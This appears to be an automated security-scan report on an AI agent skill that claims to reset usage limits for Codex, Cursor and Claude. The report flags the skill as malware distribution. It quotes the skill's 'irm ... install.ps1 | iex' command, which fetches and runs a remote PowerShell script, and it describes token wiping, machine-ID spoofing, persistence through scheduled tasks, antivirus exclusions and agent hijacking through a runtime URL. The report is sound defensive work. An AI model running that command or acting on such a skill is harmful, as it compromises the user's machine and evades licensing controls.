codex-cursor-claude-usage-resetter

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). The set includes a raw GitHub URL (raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1) that is a PowerShell script from an unknown user with explicit instructions to run it via "irm ... | iex" (remote code execution, admin/file-modifying operations) — a classic high-risk malware distribution pattern, even though the other listed domains (claude.ai, cursor.sh, platform.openai.com, ara.so) appear legitimate.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The document explicitly instructs users to run remote PowerShell code (irm | iex), clear authentication tokens, modify machine identification to evade tracking, create scheduled tasks for recurring remote script execution, and advises whitelisting/whitelisting AV exclusions — patterns that enable license circumvention, persistence, and supply-chain/backdoor risk through remote code execution and detection evasion.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.85). The required runtime workflow downloads and executes a PowerShell script from a public GitHub raw URL (irm https://raw.githubusercontent.com/.../install.ps1 | iex), and that fetched outsider-authored free text is executed/ingested as readable script content in the agent’s runtime context.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill repeatedly downloads and directly executes a remote PowerShell script at runtime (e.g., irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex), so the raw.githubusercontent.com URL is a runtime dependency that fetches and runs remote code.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs deleting and modifying local and system data (APPDATA/LOCALAPPDATA files, Windows credential manager, scheduled tasks, and "machine identification"), directs running PowerShell as Administrator and changing execution policy, and thus pushes the agent to perform privileged, state-changing operations that can compromise the host.